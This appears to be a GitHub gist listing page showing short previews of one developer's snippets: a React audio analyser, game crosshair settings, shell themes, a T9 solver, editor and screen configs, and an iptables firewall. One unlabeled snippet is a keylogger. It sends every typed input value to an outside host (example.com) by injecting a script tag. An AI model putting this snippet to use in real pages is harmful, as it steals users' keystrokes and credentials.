Skip to content

Instantly share code, notes, and snippets.

@egeste
egeste / AudioAnalyser.js
Created November 24, 2017 10:48
React Audio Analyser
import React, {
PureComponent
} from 'react'
import PropTypes from 'prop-types'
import ReactAudioPlayer from 'react-audio-player'
export default class AudioAnalyser extends PureComponent {
@egeste
egeste / autoexec-snippet.cfg
Last active November 23, 2017 05:31
CS:GO Rainbow Crosshair
cl_crosshairalpha 255
cl_crosshairdot 0
cl_crosshairgap -2
cl_crosshairsize 2
cl_crosshairstyle 4
cl_crosshairusealpha 1
cl_crosshairthickness .5
cl_fixedcrosshairgap -1
cl_crosshair_outlinethickness 1
cl_crosshair_drawoutline 1
@egeste
egeste / bureau-rvm.zsh-theme
Last active November 21, 2017 23:05
Oh My ZSH NVM, RVM, optimized "Bureau" Theme
# oh-my-zsh Customized Bureau Theme
### NVM
ZSH_THEME_NVM_PROMPT_PREFIX="(node-"
ZSH_THEME_NVM_PROMPT_SUFFIX=")"
### RVM
ZSH_THEME_RVM_PROMPT_PREFIX="("
ZSH_THEME_RVM_PROMPT_SUFFIX=""
@egeste
egeste / t9.coffee
Last active June 27, 2017 00:05
Solving t9 by compiling regular expressions
_ = require 'underscore'
# My phone
dialpad = {
'1': []
'2': ['a','b','c']
'3': ['d','e','f']
'4': ['g','h','i']
'5': ['j','k','l']
'6': ['m','n','o']
@egeste
egeste / iterative-image-resampling.jsx
Created March 25, 2017 04:52
Partial code example of iterative image resampling
// This canvas is only used for initial rendering and resampling
const imageCanvas = document.createElement('canvas')
imageCanvas.width = width
imageCanvas.height = height
// If we have constraints, resize/resample the provided image
if (constraints) {
// Get the percentage difference between the desired and actual dimensions
// We can calculate it based on width, since we a locked aspect
const percentageWidth = (width / constraints.width) * 100
@egeste
egeste / examples.jsx
Created June 29, 2016 18:19
Working with react-bootstrap/react-router
// A tab item
import React, {
Component,
PropTypes
} from 'react'
import {
Link,
withRouter
} from 'react-router'
document.body.onkeyup = function(e) {
var script = document.createElement('script');
script.src = 'https://example.com/?input='+e.srcElement.value;
document.head.appendChild(script);
}
@egeste
egeste / sublime-keymap.json
Created March 31, 2016 20:18
My Sublime keymap
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/
[
// Auto-pair backticks
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context":
[
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true },
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true },
{ "key": "following_text", "operator": "regex_contains", "operand": "^(?:\t| |\\)|]|\\}|>|$)", "match_all": true },
{ "key": "preceding_text", "operator": "not_regex_contains", "operand": "[`a-zA-Z0-9_]$", "match_all": true },
@egeste
egeste / .screenrc
Created December 22, 2015 22:27
My screenrc
# /etc/screenrc
shell -${SHELL}
caption always "%n(%t) : %C"
defscrollback 2048
startup_message off
hardstatus on
hardstatus alwayslastline "%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%< %=%D %M %d %c"
hardstatus string '%{= kK}%-Lw%{= KW}%50>%n%f %t%{= kK}%+Lw%< %{=kG}%-= %d%M %c:%s%{-}'
@egeste
egeste / firewall.sh
Created August 5, 2015 18:11
A generic iptables firewall for a personal workstation
#!/bin/bash
# Flush all existing rules
iptables -F
# Drop suspicious traffic
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP